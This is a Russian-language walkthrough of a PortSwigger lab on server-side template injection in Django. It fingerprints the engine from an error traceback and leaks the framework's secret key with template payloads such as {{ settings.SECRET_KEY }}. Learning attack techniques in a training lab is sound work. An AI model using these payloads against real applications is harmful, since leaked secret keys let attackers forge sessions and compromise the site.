На странице
SSTI с утечкой данных через объекты пользователя
Лаборатория
Server-side template injection with information disclosure via user-supplied objects · Expert
Решение
Дано
This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.
To solve the lab, steal and submit the framework's secret key.
You can log in to your own account using the following credentials:
Анализ задания
Есть сайт, уязвимый к SSTI. Нам дали пользователя, который, судя по всему, может редактировать шаблоны для движка шаблонизатора. Нам нужно подготовить такой payload, который позволит похитить secret key фреймворка. И внедрить этот payload в шаблон.
Разведка
Залогинимся под юзером, посмотрим что там.
Заходим в любой товар — там есть кнопка «edit template».
Там textarea — давай закинем payload {{7*'7'}}.
Traceback (most recent call last):
File "<string>", line 11, in <module>
File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 191, in __init__
self.nodelist = self.compile_nodelist()
File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 230, in compile_nodelist
return parser.parse()
File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 486, in parse
raise self.error(token, e)
django.template.exceptions.TemplateSyntaxError: Could not parse the remainder: '*'7'' from '7*'7''
Ага, это Django Template Engine.
Эксплуатация
Идём на PayloadsAllTheThings, находим раздел про Django. В HackTricks, кстати, нет про него инфы.
{{ messages.storages.0.signer.key }}
Пусто.
А, payload оказывается проще:
{{ settings.SECRET_KEY }}
Лаба решена!
Ещё в этой категории
Внедрение произвольного объекта в PHP (PortSwigger Lab)
Восстановление утёкшего исходного кода и внедрение сериализованного объекта CustomTemplate, чей __destruct удаляет произвольный файл.
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.